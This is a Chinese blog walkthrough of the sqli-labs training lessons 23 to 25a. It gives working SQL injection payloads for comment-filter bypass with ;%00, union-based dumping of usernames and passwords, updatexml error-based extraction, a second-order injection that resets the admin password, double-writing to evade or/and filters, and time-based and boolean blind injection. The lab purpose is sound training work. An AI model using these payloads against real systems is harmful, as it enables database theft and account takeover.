Less23-Less25a

我的梦境 提交于 2020-02-01 16:56:25

Less-23:

方法一:使用union select

?id=1 正常登录

?id=1’ 显示错误

?id=1’--+ 发现错误并无法闭合(不像第一关那样)

 

 

 

 

 

 

通过查看源码,我们发现将注释符都替换成空格符。

 

 

 

$id = preg_replace($reg1, $replace, $id);   源码中对于 --+      # 进行了过滤处理, 所以这里我们只能使用and 或者or语句进行闭合

在这里可以使用另外一种特殊的注释符   ;%00 通过这个注释符可以判断列数

除了在url末尾将--+# 替换为 ;%00   其余的均和less-1关相同,就不在陈述了,直接放语句了

  • /?id=1‘  order by 3  ;%00 查多少列
  • /?id=-1’  union select 1,2,3    ;%00   查找回显位置
  • /?id=-1‘  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00 查库名
  • /?id=-1‘  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00  查表名
  • /?id=-1‘  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00 查字段名
  • /?id=-1‘  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00 查出字段中所有的值

 

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1'order by 10 and '1'='1

我们已经知道了这个只有三列,但是回显结果没有报错

 

 

 

我们将上面语句中的and改成or,返回结果仍没有报错

 

 

 

这是由于mysql解析顺序使得order by 在执行时候被忽略了

 

 

 

所以我们可以用union select的另一种方式来进行查询

  1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1‘ and  ’1‘=‘1 使用and 或者是or都可以
  2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1‘ union select 1,2,3’ 我们使用union select进行闭合,其中要在3的位置进行闭合操作,但是在页面上没有显示1,2,3
  3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,3’ 此时我们将前面的值进行报错,使得前面的值无法被查询到
  4. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,3’ 此时我们看到2,3位置有回显信息,我们可以选择使用2,3位置继续进行注入

使用-1或者是任意一个超出数据库中的数据均可:

 select * from users where id=1 union select 1,2,3; 这个语句可以查询到 1,2,3

 select * from users where id=-1 union select 1,2,3; 这个语句只能查询到1,2,3,我们也可以在id=1的位置上使用一个较大的数字都是可以的

  1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=111‘ union select 1,2,database()’ 查询当前的数据库
  2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select group_concat(schema_name) from information_schema.schemata) ‘ 可查询所有的库信息
  3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)’  查询所有的表信息
  4. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)’ 查询所有的列信息
  5. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=-1‘ union select 1,2,(select  group_concat(concat_ws(0x7e,username,password)) from security.users)’ 一次性查询所有的字段值

 

 

 

方法二:报错注入

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1    爆出数据库

 

 

 

 

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1 查询所有的数据库,使用limit进行逐个查询。

 

 

 

 

Less-24:

引一个二次注入知识

  • 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
  • 二次注入,可以概括为以下两步:
  • 第一步:插入恶意数据
    进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据
    开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
  • 例: 输入参数 id= 1‘  à 传输转义id= 1\’  à此时转义之后无法注入à存入数据库为 1’à再次取出直接闭合

利用二次注入对24关进行操作

首先我们查询目前的users表信息,找到admin的密码,密码为admin

我们用admin’# 注册一个恶意账号,再登录 密码为123456

 

 

我们修改admin’#的密码  密码为147258

用admin  147258结果登录成功

 

 

 

 

 

 

 

 

Less-25:使用””进行包裹,or and 被过滤

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=1 正常登录

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=1’  显示错误说明有漏洞

/?id=1‘ order by  1--+ 使用order by 语句发现报错,无法使用,看下图发现 or被过滤了

 

 

 

看源码,知道or and都被过滤

 

 

 

方法一:尝试双写,正常输出

 

 

 

 

  • 1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,3--+

获得回显位置

  • 2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,schema_name from infoorrmation_schema.schemata --+

将所有位置的or都需要写两次

  • 3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+

取出所有的库

  • 4. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+

取出所有的表

  • 5. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

取出所有的字段

  • 6. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘  union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

取出字段中的值

方法二:or->|| 基于报错的注入

  • 1. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘  || 1=1--+

 判断存在注入

  • 2. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+

    爆出当前数据库

  • 3. http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+

遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整

 

 

 

 

 

 

 

 

 

Less25a:   没有任何包裹,当前 or  and 也是要双写的

/?id=1 页面显示正常

/?id=1’ 此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

 

 

 

 

/?id=-1 union select 1,2,3--+

可以使用联合查询,当我们使用联合查询注入:

/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库

/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段

/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

当我们使用基于时间的布尔盲注

1./?id=-1 oorr if(length(database())>1,1,sleep(5))--+

可以通过这个判断当前数据库长度

2. http://127.0.0.1/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+

判断当前数据库的组成

3.http://127.0.0.1/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+

通过这个判断所有的数据库,依次再进行下去。。。

当我们使用布尔盲注的时候:

  1. http://127.0.0.1/sqli/Less-25a/?id=-1 oorr length(database())>1--+

此时页面返回正常,则得知当前的数据库长度是大于1的

  1. http://127.0.0.1/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+   

当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的

  1. http://127.0.0.1/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+

此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。依次再进行下去。。。(a-z)

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!